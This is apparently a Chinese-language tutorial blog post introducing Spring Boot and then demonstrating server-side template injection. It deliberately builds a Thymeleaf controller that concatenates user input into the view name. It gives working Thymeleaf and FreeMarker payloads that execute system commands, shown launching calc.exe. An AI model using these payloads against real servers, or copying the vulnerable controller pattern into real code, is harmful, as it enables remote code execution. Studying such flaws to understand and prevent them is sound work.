SpringBoot入门 springboot模版注入问题
SpringBoot基础使用
前期基础学习一直使用的Servelet,现在用Springboot才发现这个是多么的方便,为什么现在主流的是Springboot
简介:Springboot是支持多拓展服务的一个java框架
框架和组件不同的就是框架是一个系统的,内置有不同的语法 而组件只是系统功能的一种,为了的目的是优化单功能方面的方便和安全性
部署
使用阿里的原因就是官网不支持JDK8 为了方便就换一个支持的
依赖只选择一个 web的
Springboot的强大之处就是他的依赖,比如云储存或者是sql数据库的api连接都是方便
package com.example.springdemo.Controller;import org.springframework.web.bind.annotation.*;@RestController
//表示这个控制页面 会把返回的结果一样输出到客户端 如果只是 Controller 的话就不会把这个类下的 return 数据返回到浏览器
public class IndexCon {// 1、基本的路径控制@RequestMapping("/index") //访问路径触发函数public String index() {return "Hello";}//GET 模式@RequestMapping(value = "/index", method = RequestMethod.GET)public String index2(@RequestParam String name) { //設置參數if (name == "xiaodi") {return "Hello2";}else {return " ";}}//快捷模式@GetMapping("/index1")public String index1(@RequestParam String name) {return name;}//post模式@PostMapping("/index2")public String index3(@RequestParam String name) {return name+"xiaodisec";}}
运行 上面写的程序 当我们访问index的时候会输出hello 当传参get = xiaodi 会输出hello2
这个是直接运行的前端页面
模版的导入
什么是ssti?模版注入漏洞,前端的模版如果有个可控的输入,那就会导致用户输入的恶意的语法会被镶嵌到模版中去,从而造成危险
前端的模版是指可以优化前端页面形式使其简洁化并且有规律性
Thtmeleaf模版的利用
部署的时候需要选择这个模版引擎
成功导入之后
库中就会出现
这个模版漏洞注入的场景:用户可以使用参数控制模版呈现的页面方式
这里就会变化
换一个值输入
这种情况就可以使用,但是这个地方肯定是没有的
我们先部署一个类似的页面
根据依赖项设置:建一个tem专属目录 然后创建上页面转换的不同页面
package com.example.thymeleafspringboot.Controller;import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;@Controller //当有模版载入的时候 就不适合使用 rest前缀 否则会干扰到 前端模版
public class ConIndex {@GetMapping("/index")public String index(@RequestParam String name, Model model,String lang) {//Mode model 就是新建一个前端对象 来实例化前端的数据model.addAttribute("data", name); //把Data的数据 替换到前端的Datareturn "index"+lang;}
}
运行
功能实现之后就需要进行利用
poc:
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
但是执行之后
我考??什么情况
原因很简单就是这个阿里云网的springboot版本是稳定性很强的 所以执行不了
我们需要切换到
2.2.0.Release 版本就能弹出计算机
Freemarker模版的利用
这个和上个不同的是 没法使用可控变量从后端操作这个前端的模版
只能使用这个 poc
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
这个标签必须插入到 模版文件的内部,如果是使用参数传入只能被当做内容执行
展示一下:
没有poc 使用参数进行传递
没反应
添加上
如果上面的poc运行不了
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签
还有2个poc可使用
那这个模版注入的作用点就是后台进行提权使用的,因为无可控参数的利用